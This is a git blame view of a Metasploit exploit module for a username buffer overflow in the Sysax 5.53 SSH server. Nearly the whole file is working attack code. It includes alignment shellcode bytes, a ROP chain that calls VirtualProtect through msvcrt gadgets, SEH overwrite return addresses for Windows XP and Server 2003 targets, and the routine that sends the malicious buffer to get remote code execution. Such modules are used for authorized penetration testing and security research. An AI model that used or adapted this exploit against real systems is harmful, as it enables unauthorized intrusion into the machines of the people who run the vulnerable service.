Files
metasploit-gs/modules/exploits/windows/ssh/sysax_ssh_username.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

218 lines
6.3 KiB
Ruby
Raw Normal View History

2012-03-03 10:11:51 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-03-03 10:11:51 -06:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-03-03 10:11:51 -06:00
Rank = NormalRanking
2013-08-30 16:28:54 -05:00
2012-03-03 10:11:51 -06:00
include Msf::Exploit::Remote::Tcp
2016-06-28 15:23:12 -05:00
include Msf::Exploit::Remote::SSH
2013-08-30 16:28:54 -05:00
2017-08-01 15:41:07 -05:00
def initialize(info = {})
super(
update_info(
info,
2022-04-18 09:36:52 -07:00
'Name' => 'Sysax 5.53 SSH Username Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability found in Sysax's SSH service. By
2017-08-01 15:41:07 -05:00
supplying a long username, the SSH server will copy that data on the stack
without proper bounds checking, therefore allowing remote code execution
under the context of the user. Please note that previous versions
(before 5.53) are also affected by this bug.
2012-03-03 10:11:51 -06:00
},
2022-04-18 09:36:52 -07:00
'License' => MSF_LICENSE,
'Author' => [
'Craig Freyman', # Initial discovery, PoC
'sinn3r' # Metasploit
],
'References' => [
['OSVDB', '79689'],
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
['EDB', '18535']
],
'Payload' => {
'Space' => 1024,
'BadChars' => "\x00\x3a",
'StackAdjustment' => -3500
},
'DefaultOptions' => {
'EXITFUNC' => 'seh'
},
'Platform' => 'win',
'Targets' => [
2012-03-04 17:18:34 -06:00
[
2022-04-18 09:36:52 -07:00
'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
{
'Rop' => false,
'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe
}
2012-03-04 17:18:34 -06:00
],
[
2022-04-18 09:36:52 -07:00
'Sysax 5.53 on Win2K3 SP1/SP2',
{
'Rop' => true,
'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN
}
]
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-02-27',
2022-04-18 09:36:52 -07:00
'DefaultTarget' => 0
2017-08-01 15:41:07 -05:00
)
)
2013-08-30 16:28:54 -05:00
2012-03-03 10:11:51 -06:00
register_options(
2017-08-01 15:41:07 -05:00
[ OptInt.new('RPORT', [false, 'The target port', 22]) ]
)
2012-03-03 10:11:51 -06:00
end
2013-08-30 16:28:54 -05:00
def check
begin
connect
2017-08-01 15:41:07 -05:00
banner = sock.get_once(-1, 5) || ''
disconnect
2014-01-20 14:26:10 -06:00
vprint_status("Banner: #{banner}")
2022-04-18 09:36:52 -07:00
if banner.match?(/SSH-2\.0-SysaxSSH_1\.0/)
2014-01-20 14:26:10 -06:00
return Exploit::CheckCode::Appears
end
2022-04-18 09:36:52 -07:00
rescue StandardError
vprint_error('An error has occurred while trying to read a response from target')
2014-01-20 14:26:10 -06:00
return Exploit::CheckCode::Unknown
end
2013-08-30 16:28:54 -05:00
2017-08-01 15:41:07 -05:00
Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2017-08-01 15:41:07 -05:00
def generate_regular_exploit
2012-03-03 10:11:51 -06:00
#
# Align the stack to the beginning of the fixed size payload
#
2022-04-18 09:36:52 -07:00
align = "\x54" # PUSH ESP
2017-08-01 15:41:07 -05:00
align << "\x58" # POP EAX
align << "\x04\x08" # ADD AL,0x08
align << "\x8b\x18" # MOV EBX, [EAX]
align << "\x93" # XCHG EAX,EBX
align << "\x66\x2d\x10\x04" # SUB AX,0x361
align << "\x50" # PUSH EAX
align << "\xc3" # RET
2013-08-30 16:28:54 -05:00
2012-03-03 10:11:51 -06:00
#
# Our payload limited to 1024+4 bytes
#
p = make_nops(4)
p << payload.encoded
2013-08-30 16:28:54 -05:00
2012-03-03 10:11:51 -06:00
#
# Craft the buffer like this:
# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
# for the IP length, so the next 9404-byte space will begin at a consistent place.
# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
# partial-overwrite to allow a null byte in SEH.
#
2017-08-01 15:41:07 -05:00
buf = ''
2012-03-03 10:11:51 -06:00
buf << rand_text(392, payload_badchars)
buf << rand_text(20, payload_badchars)
2017-08-01 15:41:07 -05:00
buf << rand_text(9204 - buf.length - align.length - p.length, payload_badchars) # 8796+392+20
2012-03-03 10:11:51 -06:00
buf << p
buf << align
2017-08-01 15:41:07 -05:00
buf << "\xeb" + [0 - align.length - 2].pack('c') + make_nops(2) # Short jmp back
2012-03-03 10:11:51 -06:00
buf << [target.ret].pack('V*')
2017-08-01 15:41:07 -05:00
buf
2012-03-04 17:18:34 -06:00
end
2013-08-30 16:28:54 -05:00
2017-08-01 15:41:07 -05:00
def generate_rop_exploit
2022-04-18 09:36:52 -07:00
junk = rand_text(4).unpack('L')[0].to_i
nop = make_nops(4).unpack('L')[0].to_i
2013-08-30 16:28:54 -05:00
2012-03-04 17:18:34 -06:00
# !mona rop -m msvcrt
p =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0990F,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
nop,
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
2022-04-18 09:36:52 -07:00
].pack('V*')
2013-08-30 16:28:54 -05:00
2012-03-04 17:18:34 -06:00
p << payload.encoded
2013-08-30 16:28:54 -05:00
2012-03-04 17:18:34 -06:00
#
2017-08-01 15:41:07 -05:00
# Similar buffer structure to generate_regular_exploit
2012-03-04 17:18:34 -06:00
#
2017-08-01 15:41:07 -05:00
buf = ''
2012-03-04 17:18:34 -06:00
buf << rand_text(392, payload_badchars)
buf << rand_text(20, payload_badchars)
buf << rand_text(1012, payload_badchars)
buf << p
2017-08-01 15:41:07 -05:00
buf << rand_text(9204 - buf.length)
2012-03-04 17:18:34 -06:00
buf << rand_text(4, payload_badchars)
buf << [target.ret].pack('V*')
2017-08-01 15:41:07 -05:00
buf
2012-03-04 17:18:34 -06:00
end
2013-08-30 16:28:54 -05:00
2012-03-04 17:18:34 -06:00
def exploit
#
# Create buffer based on target (DEP or no DEP)
# If possible, we still prefer to use the regular version because it's more stable
#
if target['Rop']
2017-08-01 15:41:07 -05:00
buf = generate_rop_exploit
2012-03-04 17:18:34 -06:00
else
2017-08-01 15:41:07 -05:00
buf = generate_regular_exploit
2012-03-04 17:18:34 -06:00
end
2013-08-30 16:28:54 -05:00
2012-03-03 10:11:51 -06:00
#
# Send the malicious buffer
#
pass = rand_text_alpha(8)
begin
print_status("Sending malicious request to #{rhost}:#{rport}...")
2016-06-28 15:23:12 -05:00
factory = ssh_socket_factory
2012-03-03 10:11:51 -06:00
ssh = Net::SSH.start(
datastore['RHOST'],
buf,
2017-08-01 15:41:07 -05:00
password: pass,
port: datastore['RPORT'],
timeout: 1,
proxy: factory,
config: false,
2018-08-15 14:54:41 -07:00
non_interactive: true,
verify_host_key: :never
2017-08-01 15:41:07 -05:00
)
::Timeout.timeout(1) { ssh.close }
2012-03-03 10:11:51 -06:00
rescue Errno::ECONNREFUSED
print_error("Cannot establish a connection on #{rhost}:#{rport}")
return
2017-08-01 15:41:07 -05:00
rescue StandardError => e
2022-04-18 09:36:52 -07:00
if e.message.match?(/fingerprint [0-9a-z:]+ does not match/)
2012-03-03 10:11:51 -06:00
print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
return
end
end
2013-08-30 16:28:54 -05:00
2012-03-03 10:11:51 -06:00
handler(ssh)
end
end